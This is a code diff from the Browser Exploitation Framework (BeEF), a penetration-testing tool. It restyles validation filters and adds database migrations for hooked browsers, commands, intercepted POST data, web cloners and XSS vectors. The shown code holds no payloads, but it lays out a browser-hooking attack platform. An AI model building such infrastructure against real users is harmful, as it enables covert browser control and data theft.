+
+    # Verify the CPU type string is valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid CPU type characters
+    def self.is_valid_cpu?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false if has_non_printable_char?(str)
+      return false if str.length > 200
+
+      true
+    end
+
+    # Verify the memory string is valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid memory type characters
+    def self.is_valid_memory?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false if has_non_printable_char?(str)
+      return false if str.length > 200
+
+      true
+    end
+
+    # Verify the GPU type string is valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid GPU type characters
+    def self.is_valid_gpu?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false if has_non_printable_char?(str)
+      return false if str.length > 200
+
+      true
+    end
+
+    # Verify the browser_plugins string is valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid browser plugin characters
+    # @note This string can be empty if there are no browser plugins
+    # @todo Verify if the ruby version statement is still necessary
+    def self.is_valid_browser_plugins?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false if str.length > 1000
+
+      if str.encoding == Encoding.find('UTF-8') # Style/CaseEquality: Avoid the use of the case equality operator `===`.
+        (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
+      else
+        (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?
+      end
     end
   end
-
-end  
 end

core/filters/command.rb

@@ -1,86 +1,71 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
-module Filters
-    
-  # Check if the string is a valid path from a HTTP request
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid path characters
-  def self.is_valid_path_info?(str)
-    return false if str.nil?
-    return false if not str.is_a? String
-    return false if has_non_printable_char?(str)
-    true
-  end
+  module Filters
+    # Check if the string is a valid path from a HTTP request
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid path characters
+    def self.is_valid_path_info?(str)
+      return false if str.nil?
+      return false unless str.is_a? String
+      return false if has_non_printable_char?(str)
 
-  # Check if the command id valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string is a valid command id
-  def self.is_valid_command_id?(str)
-    return false if not is_non_empty_string?(str)
-    return false if not nums_only?(str)   
-    true
-  end
+      true
+    end
 
-  # Check if the session id valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid hook session id characters
-  def self.is_valid_hook_session_id?(str)
-    return false if not is_non_empty_string?(str)
-    return false if not has_valid_key_chars?(str) 
-    true
-  end
+    # Check if the session id valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid hook session id characters
+    def self.is_valid_hook_session_id?(str)
+      return false unless is_non_empty_string?(str)
+      return false unless has_valid_key_chars?(str)
 
-  # Check if valid command module datastore key
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid command module datastore key characters
-  def self.is_valid_command_module_datastore_key?(str)
-    return false if not is_non_empty_string?(str)
-    return false if not has_valid_key_chars?(str)      
-    true
-  end
+      true
+    end
 
-  # Check if valid command module datastore value
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid command module datastore param characters
-  def self.is_valid_command_module_datastore_param?(str)
-    return false if has_null?(str)
-    return false if not has_valid_base_chars?(str)
-    true
-  end
+    # Check if valid command module datastore key
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid command module datastore key characters
+    def self.is_valid_command_module_datastore_key?(str)
+      return false unless is_non_empty_string?(str)
+      return false unless has_valid_key_chars?(str)
 
-  # Check for word and some punc chars
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid key characters
-  def self.has_valid_key_chars?(str)
-    return false if not is_non_empty_string?(str)
-    return false if not has_valid_base_chars?(str)
-    true
-  end
+      true
+    end
 
-  # Check for word and underscore chars
-  # @param [String] str String for testing
-  # @return [Boolean] If the sting has valid param characters
-  def self.has_valid_param_chars?(str)
-    return false if str.nil?
-    return false if not str.is_a? String
-    return false if str.empty?
-    return false if not (str =~ /[^\w_\:]/).nil?
-    true
-  end
+    # Check if valid command module datastore value
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid command module datastore param characters
+    def self.is_valid_command_module_datastore_param?(str)
+      return false if has_null?(str)
+      return false unless has_valid_base_chars?(str)
 
-end
+      true
+    end
+
+    # Check for word and some punc chars
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid key characters
+    def self.has_valid_key_chars?(str)
+      return false unless is_non_empty_string?(str)
+      return false unless has_valid_base_chars?(str)
+
+      true
+    end
+
+    # Check for word and underscore chars
+    # @param [String] str String for testing
+    # @return [Boolean] If the sting has valid param characters
+    def self.has_valid_param_chars?(str)
+      return false if str.nil?
+      return false unless str.is_a? String
+      return false if str.empty?
+      return false unless (str =~ /[^\w_:]/).nil?
+
+      true
+    end
+  end
 end

core/filters/http.rb

@@ -1,73 +1,62 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
-#
-module BeEF  
-module Filters
-  
-  # Verify the hostname string is valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string is a valid hostname
-  def self.is_valid_hostname?(str)
-    return false if not is_non_empty_string?(str)
-    return false if has_non_printable_char?(str)
-    return false if str.length > 255
-    return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
-    return false if not (str =~ /\.\./).nil?
-    return false if not (str =~ /\-\-/).nil?      
-    true
+module BeEF
+  module Filters
+    # Verify the hostname string is valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string is a valid hostname
+    def self.is_valid_hostname?(str)
+      return false unless is_non_empty_string?(str)
+      return false if has_non_printable_char?(str)
+      return false if str.length > 255
+      return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-.]*[a-zA-Z0-9]$/).nil?
+
+      true
+    end
+
+    def self.is_valid_verb?(verb)
+      %w[HEAD GET POST OPTIONS PUT DELETE].each { |v| return true if verb.eql? v }
+      false
+    end
+
+    def self.is_valid_url?(uri)
+      return true unless uri.nil?
+
+      # OPTIONS * is not yet supported
+      # return true if uri.eql? "*"
+      # TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
+      # return true if uri.eql? self.normalize_path(uri)
+      false
+    end
+
+    def self.is_valid_http_version?(version)
+      # from browsers the http version contains a space at the end ("HTTP/1.0\r")
+      version.gsub!(/\r+/, '')
+      ['HTTP/1.0', 'HTTP/1.1'].each { |v| return true if version.eql? v }
+      false
+    end
+
+    def self.is_valid_host_str?(host_str)
+      # from browsers the host header contains a space at the end
+      host_str.gsub!(/\r+/, '')
+      return true if 'Host:'.eql?(host_str)
+
+      false
+    end
+
+    def normalize_path(path)
+      print_error "abnormal path `#{path}'" if path[0] != '/'
+      ret = path.dup
+
+      ret.gsub!(%r{/+}o, '/')                    # //      => /
+      while ret.sub!(%r{/\.(?:/|\Z)}, '/'); end  # /.      => /
+      while ret.sub!(%r{/(?!\.\./)[^/]+/\.\.(?:/|\Z)}, '/'); end # /foo/.. => /foo
+
+      print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
+      ret
+    end
   end
-
-  def self.is_valid_verb?(verb)
-    ["HEAD", "GET", "POST", "OPTIONS", "PUT", "DELETE"].each {|v| return true if verb.eql? v }
-    false
-  end
-
-  def self.is_valid_url?(uri)
-    return true if !uri.nil?
-    # OPTIONS * is not yet supported
-    #return true if uri.eql? "*"
-    # TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
-    #return true if uri.eql? self.normalize_path(uri)
-    false
-  end
-
-  def self.is_valid_http_version?(version)
-    # from browsers the http version contains a space at the end ("HTTP/1.0\r")
-    version.gsub!(/[\r]+/,"")
-    ["HTTP/1.0", "HTTP/1.1"].each {|v| return true if version.eql? v }
-    false
-  end
-
-  def self.is_valid_host_str?(host_str)
-    # from browsers the host header contains a space at the end
-    host_str.gsub!(/[\r]+/,"")
-    return true if "Host:".eql?(host_str)
-    false
-  end 
-
-  def normalize_path(path)
-    print_error "abnormal path `#{path}'" if path[0] != ?/
-    ret = path.dup
-
-    ret.gsub!(%r{/+}o, '/')                    # //      => /
-    while ret.sub!(%r'/\.(?:/|\Z)', '/'); end  # /.      => /
-    while ret.sub!(%r'/(?!\.\./)[^/]+/\.\.(?:/|\Z)', '/'); end # /foo/.. => /foo
-
-    print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
-    ret
-  end
-
-end
 end

core/filters/page.rb

@@ -1,40 +1,30 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
-module Filters
-  
-  # Verify the page title string is valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string is a valid page title
-  def self.is_valid_pagetitle?(str)
-    return false if not str.is_a? String
-    return false if has_non_printable_char?(str)
-    return false if str.length > 50      
-    true
-  end
+  module Filters
+    # Verify the page title string is valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string is a valid page title
+    def self.is_valid_pagetitle?(str)
+      return false unless str.is_a? String
+      return false if has_non_printable_char?(str)
+      return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
 
-  # Verify the page referrer string is valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string is a valid referrer
-  def self.is_valid_pagereferrer?(str)
-    return false if not str.is_a? String
-    return false if has_non_printable_char?(str)
-    return false if str.length > 350
-    true
+      true
+    end
+
+    # Verify the page referrer string is valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string is a valid referrer
+    def self.is_valid_pagereferrer?(str)
+      return false unless str.is_a? String
+      return false if has_non_printable_char?(str)
+      return false if str.length > 350
+
+      true
+    end
   end
-  
-end
 end

core/hbmanager.rb

@@ -1,34 +1,22 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
   module HBManager
-
     # Get hooked browser by session id
     # @param [String] sid hooked browser session id string
     # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
     def self.get_by_session(sid)
-      BeEF::Core::Models::HookedBrowser.first(:session => sid)
+      BeEF::Core::Models::HookedBrowser.where(session: sid).first
     end
 
     # Get hooked browser by id
     # @param [Integer] id hooked browser database id
     # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
     def self.get_by_id(id)
-      BeEF::Core::Models::HookedBrowser.first(:id => id)
+      BeEF::Core::Models::HookedBrowser.find(id)
     end
-
   end
 end

core/loader.rb

@@ -1,22 +1,20 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
 
 # @note Include here all the gems we are using
 require 'rubygems'
 require 'bundler/setup'
+
+# For some reason, on Ruby 2.5+, msgpack needs to be loaded first,
+# else metasploit integration dies due to undefined `to_msgpack`.
+# Works fine on Ruby 2.4
+require 'msgpack'
+
 Bundler.require(:default)
+
 require 'cgi'
 require 'yaml'
 require 'singleton'
@@ -24,6 +22,26 @@ require 'ipaddr'
 require 'base64'
 require 'xmlrpc/client'
 require 'openssl'
+require 'eventmachine'
+require 'thin'
+require 'rack'
+require 'em-websocket'
+require 'uglifier'
+require 'execjs'
+require 'ansi'
+require 'term/ansicolor'
+require 'json'
+require 'otr-activerecord'
+require 'parseconfig'
+require 'erubis'
+require 'mime/types'
+require 'optparse'
+require 'resolv'
+require 'digest'
+require 'zip'
+require 'logger'
+# @note Logger
+require 'core/logger'
 
 # @note Include the filters
 require 'core/filters'
@@ -38,4 +56,4 @@ require 'core/api'
 require 'core/settings'
 
 # @note Include the core of BeEF
-require 'core/core'
+require 'core/core'

core/logger.rb

@@ -0,0 +1,21 @@
+#
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+
+#
+# @note log to file
+#
+module BeEF
+  class << self
+    attr_writer :logger
+
+    def logger
+      @logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log|
+        log.progname = name
+        log.level = Logger::WARN
+      end
+    end
+  end
+end

core/main/ar-migrations/001_create_command_modules.rb

@@ -0,0 +1,8 @@
+class CreateCommandModules < ActiveRecord::Migration[6.0]
+  def change
+    create_table :command_modules do |t|
+      t.text :name
+      t.text :path
+    end
+  end
+end

core/main/ar-migrations/002_create_hooked_browsers.rb

@@ -0,0 +1,15 @@
+class CreateHookedBrowsers < ActiveRecord::Migration[6.0]
+  def change
+    create_table :hooked_browsers do |t|
+      t.text :session
+      t.text :ip
+      t.text :firstseen
+      t.text :lastseen
+      t.text :httpheaders
+      t.text :domain
+      t.integer :port
+      t.integer :count
+      t.boolean :is_proxy
+    end
+  end
+end

core/main/ar-migrations/003_create_logs.rb

@@ -0,0 +1,10 @@
+class CreateLogs < ActiveRecord::Migration[6.0]
+  def change
+    create_table :logs do |t|
+      t.text :logtype
+      t.text :event
+      t.datetime :date
+      t.references :hooked_browser
+    end
+  end
+end

core/main/ar-migrations/004_create_commands.rb

@@ -0,0 +1,12 @@
+class CreateCommands < ActiveRecord::Migration[6.0]
+  def change
+    create_table :commands do |t|
+      t.references :command_module
+      t.references :hooked_browser
+      t.text :data
+      t.datetime :creationdate
+      t.text :label
+      t.boolean :instructions_sent, default: false
+    end
+  end
+end

core/main/ar-migrations/005_create_results.rb

@@ -0,0 +1,11 @@
+class CreateResults < ActiveRecord::Migration[6.0]
+  def change
+    create_table :results do |t|
+      t.references :command
+      t.references :hooked_browser
+      t.datetime :date
+      t.integer :status
+      t.text :data
+    end
+  end
+end

core/main/ar-migrations/006_create_option_caches.rb

@@ -0,0 +1,8 @@
+class CreateOptionCaches < ActiveRecord::Migration[6.0]
+  def change
+    create_table :option_caches do |t|
+      t.text :name
+      t.text :value
+    end
+  end
+end

core/main/ar-migrations/007_create_browser_details.rb

@@ -0,0 +1,9 @@
+class CreateBrowserDetails < ActiveRecord::Migration[6.0]
+  def change
+    create_table :browser_details do |t|
+      t.text :session_id
+      t.text :detail_key
+      t.text :detail_value
+    end
+  end
+end

core/main/ar-migrations/008_create_executions.rb

@@ -0,0 +1,14 @@
+class CreateExecutions < ActiveRecord::Migration[6.0]
+  def change
+    create_table :executions do |t|
+      t.text :session_id
+      t.integer :mod_count
+      t.integer :mod_successful
+      t.text :mod_body
+      t.text :exec_time
+      t.text :rule_token
+      t.boolean :is_sent
+      t.integer :rule_id
+    end
+  end
+end

core/main/ar-migrations/009_create_rules.rb

@@ -0,0 +1,16 @@
+class CreateRules < ActiveRecord::Migration[6.0]
+  def change
+    create_table :rules do |t|
+      t.text :name
+      t.text :author
+      t.text :browser
+      t.text :browser_version
+      t.text :os
+      t.text :os_version
+      t.text :modules
+      t.text :execution_order
+      t.text :execution_delay
+      t.text :chain_mode
+    end
+  end
+end

core/main/ar-migrations/010_create_interceptor.rb

@@ -0,0 +1,8 @@
+class CreateInterceptor < ActiveRecord::Migration[6.0]
+  def change
+    create_table :interceptors do |t|
+      t.text :ip
+      t.text :post_data
+    end
+  end
+end

core/main/ar-migrations/011_create_web_cloner.rb

@@ -0,0 +1,8 @@
+class CreateWebCloner < ActiveRecord::Migration[6.0]
+  def change
+    create_table :web_cloners do |t|
+      t.text :uri
+      t.text :mount
+    end
+  end
+end

core/main/ar-migrations/013_create_network_host.rb

@@ -0,0 +1,13 @@
+class CreateNetworkHost < ActiveRecord::Migration[6.0]
+  def change
+    create_table :network_hosts do |t|
+      t.references :hooked_browser
+      t.text :ip
+      t.text :hostname
+      t.text :ntype
+      t.text :os
+      t.text :mac
+      t.text :lastseen
+    end
+  end
+end

core/main/ar-migrations/014_create_network_service.rb

@@ -0,0 +1,11 @@
+class CreateNetworkService < ActiveRecord::Migration[6.0]
+  def change
+    create_table :network_services do |t|
+      t.references :hooked_browser
+      t.text :proto
+      t.text :ip
+      t.text :port
+      t.text :ntype
+    end
+  end
+end

core/main/ar-migrations/015_create_http.rb

@@ -0,0 +1,40 @@
+class CreateHttp < ActiveRecord::Migration[6.0]
+  def change
+    create_table :https do |t|
+      t.text :hooked_browser_id
+      # The http request to perform. In clear text.
+      t.text :request
+      # Boolean value as string to say whether cross-origin requests are allowed
+      t.boolean :allow_cross_origin, default: true
+      # The http response body received. In clear text.
+      t.text :response_data
+      # The http response code. Useful to handle cases like 404, 500, 302, ...
+      t.integer :response_status_code
+      # The http response code. Human-readable code: success, error, ecc..
+      t.text :response_status_text
+      # The port status. closed, open or not http
+      t.text :response_port_status
+      # The XHR Http response raw headers
+      t.text :response_headers
+      # The http response method. GET or POST.
+      t.text :method
+      # The content length for the request.
+      t.text :content_length, default: 0
+      # The request protocol/scheme (http/https)
+      t.text :proto
+      # The domain on which perform the request.
+      t.text :domain
+      # The port on which perform the request.
+      t.text :port
+      # Boolean value to say if the request was cross-origin
+      t.text :has_ran, default: 'waiting'
+      # The path of the request.
+      # Example: /secret.html
+      t.text :path
+      # The date at which the http response has been saved.
+      t.datetime :response_date
+      # The date at which the http request has been saved.
+      t.datetime :request_date
+    end
+  end
+end

core/main/ar-migrations/016_create_rtc_status.rb

@@ -0,0 +1,9 @@
+class CreateRtcStatus < ActiveRecord::Migration[6.0]
+  def change
+    create_table :rtc_statuss do |t|
+      t.references :hooked_browser
+      t.integer :target_hooked_browser_id
+      t.text :status
+    end
+  end
+end

core/main/ar-migrations/017_create_rtc_manage.rb

@@ -0,0 +1,9 @@
+class CreateRtcManage < ActiveRecord::Migration[6.0]
+  def change
+    create_table :rtc_manages do |t|
+      t.references :hooked_browser
+      t.text :message
+      t.text :has_sent, default: 'waiting'
+    end
+  end
+end

core/main/ar-migrations/018_create_rtc_signal.rb

@@ -0,0 +1,10 @@
+class CreateRtcSignal < ActiveRecord::Migration[6.0]
+  def change
+    create_table :rtc_signals do |t|
+      t.references :hooked_browser
+      t.integer :target_hooked_browser_id
+      t.text :signal
+      t.text :has_sent, default: 'waiting'
+    end
+  end
+end

core/main/ar-migrations/019_create_rtc_module_status.rb

@@ -0,0 +1,10 @@
+class CreateRtcModuleStatus < ActiveRecord::Migration[6.0]
+  def change
+    create_table :rtc_module_statuss do |t|
+      t.references :hooked_browser
+      t.references :command_module
+      t.integer :target_hooked_browser_id
+      t.text :status
+    end
+  end
+end

core/main/ar-migrations/020_create_xssrays_detail.rb

@@ -0,0 +1,10 @@
+class CreateXssraysDetail < ActiveRecord::Migration[6.0]
+  def change
+    create_table :xssraysdetails do |t|
+      t.references :hooked_browser
+      t.text :vector_name
+      t.text :vector_method
+      t.text :vector_poc
+    end
+  end
+end

core/main/ar-migrations/021_create_dns_rule.rb

@@ -0,0 +1,10 @@
+class CreateDnsRule < ActiveRecord::Migration[6.0]
+  def change
+    create_table :dns_rules do |t|
+      t.text :pattern
+      t.text :resource
+      t.text :response
+      t.text :callback
+    end
+  end
+end